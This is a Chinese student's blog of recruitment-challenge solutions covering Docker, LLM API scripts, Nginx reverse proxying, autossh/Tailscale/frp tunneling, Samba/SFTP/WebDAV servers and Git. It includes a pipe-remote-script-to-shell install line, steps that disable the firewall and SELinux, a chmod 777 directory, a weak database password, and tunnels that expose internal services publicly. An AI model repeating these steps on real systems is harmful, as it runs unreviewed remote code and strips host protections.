  - 自己构建镜像的工具，在这个文档中编写镜像所需的环境（而非一个一个手动安装），实现自动化构建

了解 Docker Compose

什么是 Docker Compose？它解决了什么问题？
- Docker 官方提供的一个工具，用于定义和运行多容器 Docker 应用程序。
- 将多个 docker 容器整合到一起，可以统一操作（而不用一个一个开启、关闭）。并且可以一起配置网络、数据卷挂载等等。
简要说明 Docker Compose 文件（docker-compose.yml）的作用。
- Docker Compose 的核心配置文件，具体实现多个 docker 容器的协同。可以定义 compose 中的：
  - 服务：指定适用镜像、映射端口等
  - 网络：使不同容器可以在一个网络中通信
  - 数据卷：在容器之间或者容器与主机之间共享数据

编写你的第一个 Dockerfile

挑战：编写一个 Dockerfile，实现以下功能：
- 基于一个最新的 ubuntu 镜像。
- 在容器中安装 nginx。
- 设置 nginx 服务在容器启动时自动运行。
- 验证：使用 docker build 命令构建你的镜像，并使用 docker run 命令运行该容器，确保 nginx 服务正在运行。

# 基于最新的 Ubuntu 镜像
FROM ubuntu:latest

# 安装 nginx
# 首先更新 Ubuntu 的软件包列表，然后安装 nginx，最后清理软件包缓存以减小镜像体积
RUN apt-get update && \
    apt-get install -y nginx && \
    rm -rf /var/lib/apt/lists/*

# 设置 nginx 服务在容器启动时自动运行
# CMD 指令指定容器启动时要执行的命令，这里让 nginx 以前台方式运行，保证容器不退出
CMD ["nginx", "-g", "daemon off;"]

[root@localhost ~]# docker build -t my-ubuntu-nginx .
......

[root@localhost ~]# docker run -d -p 80:80 my-ubuntu-nginx

为什么不用下载整个 ubuntu 镜像？

Docker 中的 ubuntu 镜像本质是 “精简的根文件系统（rootfs）”，仅包含运行 Ubuntu 环境所需的核心组件，共享宿主机的 Linux 内核，只保留基础命令，去除图形化

使用 Docker Compose 部署多服务应用

挑战：编写一个 docker-compose.yml 文件，实现以下功能：
- 服务一：部署一个 nginx 服务，将其 80 端口映射到主机的 8081 端口。
- 服务二：部署一个 mysql 服务，并设置环境变量 MYSQL_ROOT_PASSWORD。
- 验证：使用 docker compose up -d 命令一键启动这两个服务，并使用 docker ps 确认两个容器都已成功运行。

version: '3'
services:
  # 服务一：Nginx 服务
  nginx-service:
    image: nginx:latest
    ports:
      - "8081:80"  # 将容器的 80 端口映射到主机的 8081 端口
  # 服务二：MySQL 服务
  mysql-service:
    image: mysql:latest
    environment:
      MYSQL_ROOT_PASSWORD: 1234
    ports:
      - "3306:3306"

[root@localhost docker_compose_test]# vi docker-compose.yml
[root@localhost docker_compose_test]# docker compose up -d
[root@localhost docker_compose_test]# docker ps
CONTAINER ID   IMAGE          COMMAND                  CREATED         STATUS         PORTS                                   NAMES
70b31fae2377   mysql:latest   "docker-entrypoint.s…"   3 minutes ago   Up 3 minutes   3306/tcp, 33060/tcp                     docker_compose_test-mysql-service-1
d61344588b2e   nginx:latest   "/docker-entrypoint.…"   3 minutes ago   Up 3 minutes   0.0.0.0:8081->80/tcp, :::8081->80/tcp   docker_compose_test-nginx-service-1

御林招新题：LLM 专题

Sun, 19 Oct 2025 00:00:00 +0000

LLM：Large Language Model

准备工作：获取 API Key

注册一个 LLM 服务提供商的账号，推荐使用硅基流动（）。

有 qwen 的 Token了……

申请并获取你的 API Key。

编程调用 API

看看文档：大模型服务平台百炼控制台，官方提供了基本示例代码

选择一门你熟悉的编程语言，推荐使用 Python。
安装必要的库（推荐使用openai库）。
编写一个脚本，向 API 发送一个简单的请求。
解析 API 的返回结果，并将模型的回复打印到控制台。

import os
from openai import OpenAI

try:
    client = OpenAI(
        # 若没有配置环境变量，请用阿里云百炼API Key将下行替换为：api_key="sk-xxx",
        # 新加坡和北京地域的API Key不同。获取API Key：https://help.aliyun.com/zh/model-studio/get-api-key
        api_key="......",
        # 以下是北京地域base_url，如果使用新加坡地域的模型，需要将base_url替换为：https://dashscope-intl.aliyuncs.com/compatible-mode/v1
        base_url="https://dashscope.aliyuncs.com/compatible-mode/v1",
    )

    completion = client.chat.completions.create(
        model="qwen-plus",  # 模型列表：https://help.aliyun.com/zh/model-studio/getting-started/models
        messages=[
            {'role': 'system', 'content': '你是一个耐心的助手，熟悉计算机技能'},
            {'role': 'user', 'content': '简述DevOps是什么'}
            ]
    )
    print(completion.choices[0].message.content)
except Exception as e:
    print(f"错误信息：{e}")
    print("请参考文档：https://help.aliyun.com/zh/model-studio/developer-reference/error-code")

结果：

PS D:\code\test> & C:/python/python3.exe d:/code/test/llm.py
DevOps 是一组结合开发（Development）和运维（Operations）的实践方法，旨在缩短软件开发生命周期，提高软件交付的速度与质量。它通
过自动化、协作和持续改进，实现开发团队与运维团队之间的高效协同。

核心理念包括：

1. **持续集成（CI）**：开发人员频繁地将代码变更合并到主分支，并通过自动化测试验证。
2. **持续交付/部署（CD）**：确保代码可以随时安全地部署到生产环境，部分实现自动发布。
3. **自动化**：涵盖构建、测试、部署和监控等各个环节，减少人为错误，提升效率。
4. **监控与反馈**：实时监控系统运行状态，快速发现问题并反馈给开发团队。
5. **协作与文化**：强调团队之间的沟通、协作和责任共担，打破“开发”与“运维”之间的壁垒。

常用工具包括：Git、Jenkins、Docker、Kubernetes、Ansible、Prometheus、ELK 等。

模型能力探索

尝试调用至少三个不同的模型。
向每个模型提问相同的问题，例如“简述DevOps是什么？”或“请编写一个用 Python 计算斐波那契数列的函数”。
观察并分析不同模型之间的回答风格、准确性、速度和内容差异。

qwen-plus:

DevOps 是一组结合开发（Development）和运维（Operations）的实践方法，旨在缩短软件开发生命周期，提高软件交付的速度与质量。它通
过自动化、协作和持续改进，实现开发团队与运维团队之间的高效协同。

核心理念包括：

1. **持续集成（CI）**：开发人员频繁地将代码变更合并到主分支，并通过自动化测试验证。
2. **持续交付/部署（CD）**：确保代码可以随时安全地部署到生产环境，部分实现自动发布。
3. **自动化**：涵盖构建、测试、部署和监控等各个环节，减少人为错误，提升效率。
4. **监控与反馈**：实时监控系统运行状态，快速发现问题并反馈给开发团队。
5. **协作与文化**：强调团队之间的沟通、协作和责任共担，打破“开发”与“运维”之间的壁垒。

常用工具包括：Git、Jenkins、Docker、Kubernetes、Ansible、Prometheus、ELK 等。

qwen-max

DevOps是一种文化和实践的集合，旨在通过促进开发（Development）、技术运营（Operations）以及其它相关团队之间的沟通、协作与整合，来提高软件开发和交付的速度及质量。它强调在整个软件生命周期中采用自动化工具和技术，以实现持续集成、持续交付/部署（CI/CD），从
而更快地响应市场变化，并提高组织的灵活性。

DevOps的核心理念包括但不限于：

- **文化转型**：鼓励跨职能团队合作，打破传统IT部门间的壁垒。
- **自动化**：利用各种工具自动化构建、测试和部署过程，减少人为错误，加快迭代速度。
- **持续改进**：基于反馈循环不断优化流程，追求更高效的工作方式。
- **测量与监控**：重视性能指标的收集与分析，确保系统稳定性和服务质量。

总之，DevOps旨在通过加强不同角色之间的协作，结合敏捷方法论与自动化技术，帮助企业更快地将高质量的产品推向市场

deepseek-v3.2-exp

DevOps 是一种结合软件开发（Development）与 IT 运维（Operations）的文化理念与实践方法，旨在通过自动化与协作，缩短软件开发生命
周期，提升交付效率、系统稳定性与产品质量。

### 核心目标：
1. **快速交付**：通过自动化流程（如 CI/CD）加速软件发布。
2. **高质量输出**：持续测试与监控，及早发现并修复问题。
3. **跨团队协作**：打破开发与运维之间的壁垒，促进沟通与责任共担。

### 关键实践：
- **持续集成/持续部署（CI/CD）**：自动化构建、测试和部署流程。
- **基础设施即代码（IaC）**：用代码管理服务器和配置，确保环境一致性。
- **自动化测试与监控**：实时跟踪系统性能，快速响应故障。

### 常用工具链示例：
- **代码管理**：Git、GitLab
- **CI/CD**：Jenkins、GitHub Actions
- **容器化**：Docker、Kubernetes
- **监控**：Prometheus、Grafana

通过融合文化、流程与工具，DevOps 帮助团队更灵活地应对市场需求，实现高效可靠的软件交付。

构建一个命令行聊天机器人

功能实现：编写一个 Python 脚本，创建一个可以持续与用户交互的命令行聊天机器人。
交互循环：使用一个无限循环，不断接收用户的输入，并将其作为提示词（Prompt）发送给 LLM。
对话管理：将 LLM 的回复打印回命令行，然后再次等待用户的输入。
退出机制：当用户输入特定指令（例如 quit 或 exit）时，程序能够优雅地退出。

# 改成了流式输出
import os
from openai import OpenAI

client = OpenAI(
    # 若没有配置环境变量，请用百炼API Key将下行替换为：api_key="sk-xxx",
    api_key="......",
    base_url="https://dashscope.aliyuncs.com/compatible-mode/v1",
)
prompt = input()
while(prompt != "exit" and prompt != "quit"):
    completion = client.chat.completions.create(
        model="qwen-plus",  # 此处以qwen-plus为例，可按需更换模型名称。模型列表：https://help.aliyun.com/zh/model-studio/getting-started/models
        messages=[{'role': 'system', 'content': 'You are a helpful assistant.'},
                    {'role': 'user', 'content': prompt}],
        stream=True,
        stream_options={"include_usage": True}
        )
    for chunk in completion:
        # 提取当前片段中的文本内容（delta.content）
        if chunk.choices: # 这里得判断一下
            content = chunk.choices[0].delta.content
            if content:  # 只打印非空内容（过滤空片段）
                print(content, end="", flush=True)  # 实时输出，不换行
    print()  # 每个回复结束后换行
    prompt = input()
print("拜拜~")

提示词工程（Prompt Engineering）

角色扮演：修改你的聊天机器人脚本，让模型扮演一个特定角色，例如“一位严厉的Linux导师”或“一个幽默的段子手”。
指令遵循：尝试给模型一些复杂的指令，例如“用 Markdown 格式列出所有重要的 Linux 命令，并为每个命令提供一个简短的例子。”
限制输出：要求模型在回答问题时，遵循特定的格式或长度限制，例如“只用100字以内回答。”

import os
from openai import OpenAI

......
system = input("请输入你想让我扮演的角色：") # 更新了这里
prompt = input("你想对我说什么？")
while(prompt != "exit" and prompt != "quit"):
    completion = client.chat.completions.create(
        model="qwen-plus",  # 此处以qwen-plus为例，可按需更换模型名称。模型列表：https://help.aliyun.com/zh/model-studio/getting-started/models
        messages=[{'role': 'system', 'content': system},
                    {'role': 'user', 'content': prompt}],
        stream=True,
        stream_options={"include_usage": True}
        )
    ......
    prompt = input("再说点什么呢？")
print("拜拜~")

御林招新题：内网穿透与流量转发专题

Sun, 19 Oct 2025 00:00:00 +0000

Nginx 反向代理

什么是反向代理？

反向代理是一种服务器架构模式，客户端向反向代理服务器发起请求，反向代理服务器再将请求转发到内部网络中的实际服务器（内网服务），并将实际服务器的响应返回给客户端。从客户端角度看，仿佛是直接和反向代理服务器交互，无需知晓背后内网服务的存在。Nginx 作为高性能的 Web 服务器和反向代理服务器，很适合承担这个角色。

任务：在一台可以从公网访问的服务器（或本地虚拟机）上安装 Nginx，并将其配置为反向代理，以转发流量到你的内网服务（例如，在另一台机器上运行的 Web 服务器）。

具体操作：

在公网服务器上安装 Nginx。
修改 Nginx 配置文件，添加一个 server 块，并使用 proxy_pass 指令将请求转发到你的内网 IP 地址和端口。

# /etc/nginx/conf.d/reverse-proxy.conf
# 需要先把 /etc/nginx/nginx.conf 里监听 80 端口的 server 注释掉
server {
    listen 80;  # 监听80端口（HTTP默认端口）
    server_name 8.137.38.223;  # 公网服务器的IP地址

    location / {
        proxy_pass http://127.0.0.1:8001;  # 转发到内网Web服务器的IP和端口
        proxy_set_header Host $host;  # 传递请求头中的Host信息，确保内网服务器能正确识别
        proxy_set_header X-Real-IP $remote_addr;  # 传递真实客户端IP
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;  # 记录代理链的IP
    }
}

验证：通过公网 IP 访问 Nginx 服务器，确认能成功显示内网服务的页面。

Autossh 端口转发

任务：使用 autossh 建立一个持久的 SSH 反向隧道，将内网服务的端口暴露到公网服务器上。

SSH 反向隧道：通常情况下，SSH 隧道是从客户端（能访问公网的机器）主动连接到服务端（公网服务器），实现从客户端到服务端的端口转发。而反向隧道则是让服务端（公网服务器）主动连接到客户端（内网机器），从而将内网机器的端口暴露到公网服务器上，使得公网可以访问内网服务。

Autossh：是 SSH 的一个封装工具，它能够自动监控 SSH 连接的状态，当连接断开时会自动重新建立连接，保证隧道的持久性，避免因为网络波动等原因导致隧道中断后需要手动重新建立。

具体操作：
- 在内网机器上安装 autossh。
- 执行 autossh 命令，将内网服务的端口（例如 8080）反向隧道到公网服务器的一个指定端口（例如 8000）。

配置 ssh 公钥：

内网：ssh-keygen

上传到服务器：ssh-copy-id -i /root/key.pub user@8.137.38.223

1
autossh -M 20000 -fCNR public_server_ip:8000:localhost:5000 root@public_server_ip
各参数解释：

-M 20000：指定一个监视端口，autossh 通过这个端口来监视 SSH 连接的状态，确保连接的持久性。

-f：将 autossh 放入后台运行。

-C：启用压缩，减少数据传输的大小，提高传输效率。

-N：不执行远程命令，只进行端口转发。

-R public_server_ip:8000:localhost:8080：建立反向隧道，将公网服务器的8000端口转发到内网机器的localhost:8080（即内网服务的端口）。user是公网服务器上的用户名。

验证：通过访问公网服务器的 8000 端口，确认能访问到内网服务。

docker ps -a 看所有容器；docker rm 删除

docker insepct <image> 看一下端口

配了很久，要注意的点：
1. autossh 指令：public_server_ip:8000 这里要写 0.0.0.0，不然只能服务器本地访问
2. 不知道为什么密钥上传了但是没用
3. 需要将服务器上的 /etc/ssh/sshd_config 中 GatewayPorts 改为 yes，否则隧道仅允许目标服务器本地访问 8000 端口
4. netstat -tuln | grep 8000 看服务器 ssh 连接状态；
5. ps（process status） aux | grep autossh 看内网的 autossh 命令
6. 云服务器还要看一下安全组是不是拦截了

Tailscale 零配置网络

任务：使用 Tailscale 建立一个零配置的虚拟私有网络（VPN），实现内网设备的点对点互联。

不需要复杂的网络配置（如端口转发、防火墙规则调整等），就能让分布在不同网络环境（如内网、公网）的设备，像在同一个局域网内一样实现点对点的互联互通。Tailscale 用于简化 VPN 搭建流程

具体操作：

在你的公网服务器和内网机器上分别安装 Tailscale。

curl -fsSL https://tailscale.com/install.sh | sh

注册 https://login.tailscale.com/

使用你的账户登录并加入 Tailscale 网络。

[root@localhost ~]# tailscale ip
100.124.165.66
[root@iZ2vc96n4f90pw7f8dfbfsZ ~]# tailscale ip
100.75.140.47

# 访问 OK
[root@iZ2vc96n4f90pw7f8dfbfsZ ~]# curl http://100.124.165.66:5000
Hello from Flask!

验证：在公网服务器上，通过内网机器的 Tailscale IP 或主机名直接访问其内网服务，无需任何端口转发。

Frp (Fast Reverse Proxy)

任务：使用 Frp 客户端-服务端模式，将内网服务暴露到公网。

Frp（Fast Reverse Proxy）是一款专注于内网穿透的高性能反向代理应用

下载 wget https://github.com/fatedier/frp/releases/download/v0.32.1/frp_0.32.1_linux_amd64.tar.gz

安装参考：CentOS 7 部署frp穿透内网_centos frp-CSDN博客

# 关防火墙
systemctl stop firewalld && systemctl disable firewalld
# 关 SELinux
setenforce 0
# 创建安装路径
mkdir -p /usr/local/frps
# 解压备用
tar zxvf frp_0.32.1_linux_amd64.tar.gz  -C /tmp
# 复制 frps 和 frps.ini 两个配置文件
# 注意！！！ 客户端要复制的是 frpc 和 frpc.ini
cd /tmp/frp_0.32.1_linux_amd64
cp frps frps.ini /usr/local/frps
# 配置
vim /usr/local/frps/frps.ini

# 内网 frpc.ini
[common]
server_addr = 8.137.38.223  # 公网服务器 IP
server_port = 7000          # 服务端 bind_port

[web_tcp]  # 模块名可自定义
type = tcp                   # 改为 TCP 类型
local_ip = 127.0.0.1
local_port = 5000
remote_port = 8001           # 公网服务器上用于访问的端口（需和服务端端口不冲突??冲突！）

# 服务器 frps.ini
[common]
bind_port = 7000  # Frp 服务端与客户端通信的端口
vhost_http_port = 8080  # 若要通过 HTTP 访问内网 Web 服务，设置此端口

具体操作：
- 在一台公网服务器上运行 frps（服务端）。
- 在内网机器上运行 frpc（客户端），并配置其连接到服务端，将内网服务的端口暴露出去。
启动 ./frps -c ./frps.ini
- 验证：通过公网服务器的 IP 和 Frp 配置的端口，确认能访问到内网服务。
错了几个点：
1. 运行内网的时候运行成 frps 了 ……
2. 如果配置为 http 的话，还需要域名，所以改成了 tcp

御林招新题：文件服务器

Sun, 19 Oct 2025 00:00:00 +0000

文件共享协议理解

任务：简要解释 SMB/CIFS 和 SFTP 这两种文件共享协议的作用和主要区别。

SMB（Server Message Block）/CIFS（Common Internet File System）

是一种网络文件共享协议，主要用于在局域网内实现文件和打印机等资源的共享。它允许不同计算机之间通过网络访问彼此的文件、目录，就像访问本地文件一样方便

典型应用场景：在 Windows 网络环境中，如，在企业内部的 Windows 办公网络里，员工的电脑可以通过 SMB 协议访问文件服务器上的共享文件夹，实现文档的集中存储和多人协作编辑；学校的计算机教室中，教师机能通过该协议向学生机共享教学资料等

CIFS 脱胎于 SMB，CIFS 兼容性较好，是不同操作系统和网络环境提供一种通用的文件共享解决方案

SFTP（SSH File Transfer Protocol）

基于 SSH（Secure Shell）的文件传输协议，它利用 SSH 的安全特性，在文件传输过程中提供加密保护，确保数据在网络传输时的安全性，防止被窃听或篡改。

典型应用场景：常用于 Linux 系统以及跨平台环境下的安全文件传输。比如，在 Linux 服务器之间进行文件备份和同步时、在开发者需要从本地向远程 Linux 服务器上传代码或下载日志文件时，使用 SFTP 可以保证传输的文件不被非法获取

区别

SMB/CIFS：Windows 网络原生，使用方便；局域网环境下，传输文件高效；但是安全性有所不足

SFTP：兼容性较好；由于加密消耗，性能会有所下降；功能相对来说比较单一，专注于文件上传、下载；基于 ssh 协议，数据传输稳定、可靠

具体操作：
- 描述 SMB/CIFS 的典型应用场景（例如在 Windows 网络中）。
- 描述 SFTP 的典型应用场景（例如在 Linux 和跨平台环境中）。

Samba 服务配置（SMB/CIFS）

任务：安装并配置 Samba，实现局域网内文件的共享访问。

具体操作：

在你的 Linux 服务器上安装 Samba。

sudo yum install samba samba-client samba-common

创建一个专用于 Samba 的用户，并设置密码。

1
2
3

[root@localhost frps]# sudo useradd sambauser
[root@localhost frps]# sudo smbpasswd -a sambauser
......

修改 /etc/samba/smb.conf 配置文件，创建一个共享目录，并确保只有你创建的用户可以访问。

sudo mkdir -p /home/samba/share
sudo chown sambauser:sambauser /home/samba/share
sudo chmod 755 /home/samba/share
sudo vim /etc/samba/smb.conf
# 重启生效
sudo systemctl restart smb nmb

[myshare] # smb.conf
    comment = My Samba Share
    path = /home/samba/share
    valid users = sambauser
    writable = yes
    browseable = yes
    create mask = 0755
    directory mask = 0755

验证：在另一台局域网内的电脑（例如 Windows 或 macOS）上，通过网络邻居或文件管理器访问你的共享目录，并上传一个文件进行测试。

Windows 需要在控制面版里启用 SMB、重启

注意：直接在地址栏输入\\192.168.109.100 即可！！

上传了一个文件到 sambauser，OK

SFTP 服务配置

任务：利用 SSH 服务配置 SFTP，实现安全的文件传输和管理。

具体操作：

确保你的服务器上已安装 SSH 服务。

sudo yum install openssh-server

创建一个专用于 SFTP 的新用户，并设置密码。
修改 /etc/ssh/sshd_config 文件，配置 SFTP 子系统，并限制 SFTP 用户只能访问其主目录，无法登录 Shell。

sudo systemctl start sshd
sudo useradd sftpuser
sudo usermod -s /sbin/nologin sftpuser # 限制登录系统 shell！

cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak # 备份一下配置文件
vi /etc/ssh/sshd_config

sudo systemctl restart sshd # 重启生效

# 注释掉原来的 SFTP 子系统配置
# Subsystem      sftp    /usr/lib/openssh/sftp-server

# 配置新的 SFTP 子系统，使用 internal-sftp
# 相比原来的 sftp-server，更便于配置和限制。
Subsystem sftp internal-sftp

# 匹配 SFTP 用户（这里是 sftpuser）
# 对用户 sftpuser 应用后续的配置
Match User sftpuser
    # 强制使用 internal-sftp,无法执行 shell
    ForceCommand internal-sftp
    # 限制用户只能访问其主目录
    ChrootDirectory %h
    # 允许用户进行的操作，这里设置为允许读写等
    # 禁止 TCP 转发和 X11 转发，增强安全性
    AllowTcpForwarding no
    X11Forwarding no

# 这下面还有配置，要剪切到前面，不能放在 Match 下面！

验证：使用一个 SFTP 客户端（例如 FileZilla 或 WinSCP）连接到你的服务器，使用 SFTP 用户登录，尝试上传文件，并确认无法执行 Shell 命令。

碰到的一些问题

需要将 ChrootDirectory（即目录，/home/sftpuser，两级都一样）的权限设置为 755，并且归属于 root sudo chown root:root /home/sftpuser

sshd -t 检查 config 的语法、看日志，又发现 usedns 不能在 matchuser 块内，移动一下

就可以了

权限精细化管理

任务：在 Samba 共享中，配置更细致的权限。

具体操作：

创建一个 Samba 组。

sudo groupadd sambagrp # 添加系统组
sudo smbgroupadd sambagrp # 添加 samba 组
sudo mkdir -p /home/samba/groupshare # 共享目录
sudo chgrp sambagrp /home/samba/groupshare # 归组
sudo chmod 770 /home/samba/groupshare # 设置权限
sudo vim /etc/samba/smb.conf

[groupshare]
    comment = Group Share Directory
    path = /home/samba/groupshare
    valid users = @sambagrp
    write list = @sambagrp
    browseable = yes
    read only = no
    create mask = 0660
    directory mask = 0770

sudo systemctl restart smb nmb # 重启一下
# 加一个用户
sudo useradd groupuser1
sudo usermod -a -G sambagrp groupuser1 # a 是添加，G是修改用户所属的扩展群
sudo smbpasswd -a groupuser1

配置一个共享目录，允许该组内的所有用户读写，但禁止其他用户访问。
验证：用一个新用户尝试访问，确认其被拒绝；用组内用户访问，确认可以正常读写。

1
2

net use # 看连了什么
net use \\192.168.109.100 /delete # 先把原来的断开

WebDAV 配置

任务：搭建一个支持 WebDAV 协议的文件服务器，通过 HTTP/HTTPS 协议访问文件。

具体操作：

选择一个支持 WebDAV 的工具（例如 Nginx 或 Caddy），进行安装。

#wget https://github.com/caddyserver/caddy/releases/download/v2.7.6/caddy_2.7.6_linux_amd64.tar.gz
#tar -xzf caddy_2.7.6_linux_amd64.tar.gz
#sudo mv caddy /usr/bin/
# 失败了，还是用 docker 吧
sudo mkdir -p /var/www/webdav
sudo chown -R $USER:$USER /var/www/webdav  # 设置目录所有者，方便后续操作
vi ~/caddy-webdav/Caddyfile
# 也失败了，插件不会配，专用 Nginx

参考如何在 CentOS 7 服务器上通过 Nginx 部署 WebDAV

# 下载nginx  
wget1 https://github.com/nginx/nginx/archive/refs/tags/release-1.26.3.tar.gz  
  # 解压nginx  
tar xvf release-1.26.3.tar.gz   
  # 切换到nginx目录，下载nginx-dav-ext-module  
cd nginx-release-1.26.3/  
wget1 https://github.com/arut/nginx-dav-ext-module/archive/refs/tags/v3.0.0.tar.gz  
  # 解压nginx-dav-ext-module  
tar -xvf v3.0.0.tar.gz 

# 编辑安装 nginx，并且要指定插件！注意路径
auto/configure --prefix=/etc/nginx \  
--conf-path=/etc/nginx/nginx.conf \  
--sbin-path=/usr/sbin/nginx \  
--pid-path=/var/run/nginx.pid \  
--lock-path=/var/run/nginx.lock \  
--error-log-path=/var/log/nginx/error.log \  
--http-log-path=/var/log/nginx/access.log \  
--with-stream --with-http\_dav\_module --with-http\_ssl\_module --with-http\_v2\_module \  
--add-module=./nginx-dav-ext-module-3.0.0  
# 编译剩余步骤
make && make install  
nginx -V # 验证

# vim /lib/systemd/system/nginx.service
[Unit]  
Description=A high performance web server and a reverse proxy server  
Documentation=man:nginx(8)  
After=network.target nss-lookup.target  

[Service]  
Type=forking  
PIDFile=/run/nginx.pid  
# master... 要删掉！
ExecStartPre=/usr/sbin/nginx -t -q -g 'daemon on; #master\_process# on;'  
ExecStart=/usr/sbin/nginx -g 'daemon on; #master\_process on#;'  
ExecReload=/usr/sbin/nginx -g 'daemon on; #master\_process on#;' -s reload  
ExecStop=-/sbin/start-stop-daemon --quiet --stop --retry QUIT/5 --pidfile /run/nginx.pid  
TimeoutStopSec=5  
KillMode=mixed  

[Install]  
WantedBy=multi-user.target

# 重加载systemd配置  
systemctl daemon-reload  
systemctl enable nginx.service   
systemctl start nginx.service  
systemctl status nginx.service

# vim /etc/nginx/nginx.conf
server {  
    listen 8089;    
    listen [::]:8089;  
    server\_name localhost;  
    # 认证方式  
    auth\_basic realm\_name;  

    # 存放认证用户名、密码文件  
    auth\_basic\_user\_file /etc/nginx/.webdav/auth.list;  

    # webdav服务访问的根目录  
    root /cherry\_data;  

    dav\_methods PUT DELETE MKCOL COPY MOVE;  

    dav\_ext\_methods PROPFIND OPTIONS LOCK UNLOCK;  

    dav\_access user:rw group:rw all:r;  

    client\_body\_temp\_path /tmp/webdav;  

    client\_max\_body\_size 0;  

    create\_full\_put\_path on;  

    #添加索引指令，如果忘记这项配置，nginx访问会提示403  
 location /{  
                root /cherry\_data;  
                autoindex on;  
                autoindex\_format html;  
                autoindex\_exact\_size off;  
                autoindex\_localtime on;  
                charset utf-8,gbk;  

        }  
}

# 最后
nginx -s reload  
cd /etc/nginx/  
mkdir .webdav  
cd .webdav/  
# 设置用户名为admin  
echo -n 'admin:' | tee -a auth.list   
openssl passwd -apr1 | tee -a auth.list  
Password:    #首次输入  
Verifying - Password:  #再次输入 

mkdir /cherry\_data  
chmod 777 /cherry\_data  # 访问的目录

配置一个 WebDAV 共享目录，并设置基础认证。
验证：使用支持 WebDAV 的客户端（例如 Windows 的网络位置）或浏览器访问，输入用户名和密码，确认可以管理文件。

用 windows 映射挂载的时候，发现不能用 http 协议，得改一下注册表

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WebClient\Parameters BasicAuthLevel 1改2

Win + R，services.msc；Webclent 重启

性能与安全性

任务：对你的文件服务器进行简单的性能测试和安全加固。

具体操作：

性能：使用 dd 命令或其他工具，测试在 Samba 和 SFTP 上传大文件的速度，并进行简单对比。

Samba:

PS C:\Users\calendar\Downloads> fsutil file createnew ./test 1073741824
已创建文件 C:\Users\calendar\Downloads\test
PS C:\Users\calendar\Downloads> Measure-Command { Copy-Item -Path "C:\Users\calendar\Downloads\test" -Destination "\\192.168.109.100\groupshare" }


Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 9
Milliseconds      : 823
Ticks             : 98231516
......
TotalSeconds      : 9.8231516
TotalMilliseconds : 9823.1516

stfp:

安全：
- 为 SFTP 服务配置基于密钥的认证，禁用密码登录。
- 密钥工具生成密钥，sftpuser / .ssh 目录，创建 authorized_keys 文件，将复制的公钥内容粘贴进去并保存。
- 禁用密码：PasswordAuthentication 设置为 no
- 简要说明这种认证方式比密码认证更安全的原因。
密码认证存在被暴力破解、泄露等风险；而基于密钥的认证使用非对称加密，私钥仅存于客户端且难以破解，公钥即使暴露也无法用于登录，极大提升了安全性，能有效防范密码相关的攻击手段。

御林招新题：Git 版本管理

Sat, 18 Oct 2025 00:00:00 +0000

安装与配置 Git

在你的 Linux 操作系统上，安装 Git。
全局配置：配置你的全局用户名和邮箱，这是 Git 记录提交者信息所必需的。
验证：执行 git --version 命令，确认 Git 已正确安装。

[root@localhost hello]# git config --global user.name "calendar"
[root@localhost hello]# git config --global user.email "1131821081@qq.com"
[root@localhost hello]# git --version
git version 1.8.3.1

创建与克隆仓库

本地仓库：在你的主目录下创建一个新的文件夹，并在其中初始化一个 Git 仓库。
远程克隆：找一个公开的 Git 仓库（例如 GitHub 上的一个开源项目），使用 git clone 命令将其克隆到本地。

这里还配置了一下 clash，记一下命令：

$ clashctl + ...
Usage:
    clash                    命令一览
    clashon                  开启代理
    clashoff                 关闭代理
    clashui                  面板地址
    clashstatus              内核状况
    clashtun     [on|off]    Tun 模式
    clashmixin   [-e|-r]     Mixin 配置
    clashsecret  [secret]    Web 密钥
    clashupdate  [auto|log]  更新订阅

[root@localhost git_repo]# git clone https://github.com/calendar0917/learning_log.git
Cloning into 'learning_log'...
remote: Enumerating objects: 72, done.
......
Unpacking objects: 100% (72/72), done.
[root@localhost git_repo]# ls
clash-for-linux-install  learning_log

文件的提交与同步

文件修改：在你克隆的本地仓库中，对某个文件进行修改。

暂存与提交：

使用 git add 命令将修改后的文件添加到暂存区。
使用 git commit 命令提交你的变更，并附上一条有意义的提交信息。

登录的时候遇到问题，发现得要用 Personal Access Token 来代替 Password，然后保存一下登录：
1
2
3
4
# 配置凭据缓存（默认缓存15分钟）
git config --global credential.helper cache
# 可选：设置缓存时间（单位：秒，例如设置30天）
git config --global credential.helper 'cache --timeout=2592000'

同步操作：

使用 git pull 命令从远程仓库拉取最新的变更。
使用 git push 命令将你的本地提交推送到远程仓库。

[root@localhost learning_log]# git push
......
Username for 'https://github.com': calendar0917
Password for 'https://calendar0917@github.com':
......
remote: To https://github.com/calendar0917/learning_log.git
   1d476d9..5a31feb  main -> main

验证：在远程仓库页面上，确认你的提交历史已成功显示。

分支管理

目标：理解分支的作用，掌握创建、切换和合并分支的操作。

在一个分支上进行的代码修改不会影响其他分支，进行实验性的开发，能回退到原来的状态。

挑战：

创建一个名为 feature-a 的新分支。

git branch name 新建分支

git checkout name 跳转分支

git checkout -b name 创建并跳转分支

在新分支上对文件进行修改并提交。

[root@localhost learning_log]# git branch feature-a
[root@localhost learning_log]# git checkout feature-a
Switched to branch 'feature-a'
[root@localhost learning_log]# vi hello.txt
[root@localhost learning_log]# git add hello.txt
[root@localhost learning_log]# git commit -m "来自feature-a的修改"
[feature-a 44b4133] 来自feature-a的修改
 1 file changed, 1 insertion(+)

切换回主分支（main 或 master）。
使用 git merge 命令将 feature-a 分支的修改合并到主分支上。
删除 feature-a 分支。

[root@localhost learning_log]# git branch
* feature-a
  main
[root@localhost learning_log]# git checkout main
Switched to branch 'main'
[root@localhost learning_log]# git merge feature-a
Updating 5a31feb..44b4133
Fast-forward
 hello.txt | 1 +
 1 file changed, 1 insertion(+)
[root@localhost learning_log]# git branch -d feature-a
Deleted branch feature-a (was 44b4133).

历史记录与回溯

目标：学会查看提交历史，并在需要时回溯到特定版本。

挑战：

使用 git log 命令查看你的提交历史。

[root@localhost learning_log]# git log
commit 44b413353e383dcbc0063558f1ce87e544c7730b
Author: calendar <1131821081@qq.com>
Date:   Sat Oct 18 05:54:50 2025 -0700

    来自feature-a的修改

commit 5a31feb5ae61d40b7d6d7eaff991b5c3eeb82892
Author: calendar <1131821081@qq.com>
Date:   Sat Oct 18 05:38:50 2025 -0700

    测试暂存与提交

commit 1d476d982a3144004612cc9162b83b6483e42faa
Author: calendar0917 <1131821081@qq.com>
Date:   Thu Feb 13 11:10:55 2025 +0800

    Initial commit

找到一个较早的提交 ID。
